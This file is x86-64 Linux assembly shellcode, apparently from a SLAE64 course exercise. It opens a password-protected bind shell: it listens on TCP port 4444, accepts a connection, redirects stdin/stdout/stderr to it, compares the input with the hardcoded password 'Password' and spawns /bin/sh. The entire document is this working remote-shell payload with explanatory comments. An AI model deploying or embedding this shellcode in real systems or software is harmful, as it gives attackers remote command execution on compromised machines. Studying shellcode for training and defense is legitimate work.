;Bind_TCP 4444 with password ;
;Default password = Password ;
;If connected the shellcode no prompt for password ;
;Enter password directly and you get the bin/sh shell;
;if password is wrong the shellcode exit: ;
;Christophe G SLAE64 - 1337 size 173 bytes ;
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
push 0x29
pop rax
push 0x2
pop rdi
push 0x1
pop rsi
xchg rbx , rdx
syscall
; copy socket descriptor to rdi for future use
xchg rax , rdi
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
xor rax, rax
mov dword [rsp - 4] , eax
mov word [rsp - 6] ,0x5c11
mov byte [rsp - 8] , 0x2
sub rsp , 8
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
push 0x31
pop rax
mov rsi, rsp
push 0x10
pop rdx
syscall
; listen(sock, MAX_CLIENTS)
; syscall number 50
push 0x32
pop rax
push 0x2
pop rsi
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43
push 0x2b
pop rax
sub rsp, 0x10
mov rsi, rsp
push 0x10
mov rdx, rsp
syscall
; store the client socket description
mov r9, rax
; close parent
push 0x3
pop rax
syscall
xchg rdi , r9
xor rsi , rsi
dup2:
push 0x21
pop rax
syscall
inc rsi
cmp rsi , 0x2
loopne dup2
CheckPass:
xor rax , rax
push 0x10
pop rdx
sub rsp , 16 ; 16 bytes to receive user input
mov rsi , rsp
xor edi , edi
syscall ; system read function call
mov rax , 0x64726f7773736150 ; "Password"
lea rdi , [rel rsi]
scasq
jz Execve
push 0x3c
pop rax
syscall
Execve:
xor rax , rax
mov rdx , rax
push rax
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
push 0x3b
pop rax
syscall
